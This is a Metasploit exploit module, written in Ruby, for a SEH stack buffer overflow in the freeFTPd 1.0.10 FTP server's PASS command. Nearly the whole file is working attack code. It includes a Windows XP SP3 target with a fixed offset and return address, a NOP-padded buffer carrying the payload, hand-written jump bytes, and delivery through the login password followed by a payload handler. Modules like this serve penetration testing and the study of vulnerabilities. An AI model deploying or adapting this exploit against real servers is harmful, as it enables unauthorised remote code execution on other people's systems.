freeFTPd 1.0.10 PASS Command SEH Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'freeFTPd 1.0.10 PASS Command SEH Overflow',  
'Description' => %q{  
This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.  
credit goes to Wireghoul.  
  
},  
'Author' =>  
[  
'Wireghoul - www.justanotherhacker.com', # original poc  
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '96517' ],  
[ 'EDB', '27747' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh'  
},  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x20\x0a\x0d",  
#'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP English SP3', { 'Ret' => 0x00414226 , 'Offset' => 952 } ],  
],  
'DisclosureDate' => 'Aug 21 2013',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect  
  
if (banner =~ /freeFTPd 1.0/)  
return Exploit::CheckCode::Vulnerable  
end  
Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
payload_size = payload.encoded.length  
  
buf = make_nops(1000)  
buf[(target['Offset']-11) - payload_size, payload_size] = payload.encoded  
buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"  
buf[target['Offset'],4] = [0xfffff9eb].pack("V")  
buf[target['Offset']+4,4] = [target.ret].pack("V")  
  
print_status("Sending exploit buffer...")  
  
#buffer = Rex::Text.pattern_create(1000)  
send_user(datastore['FTPUSER'])  
send_pass(buf)  
  
handler  
disconnect  
end  
  
end  
  
`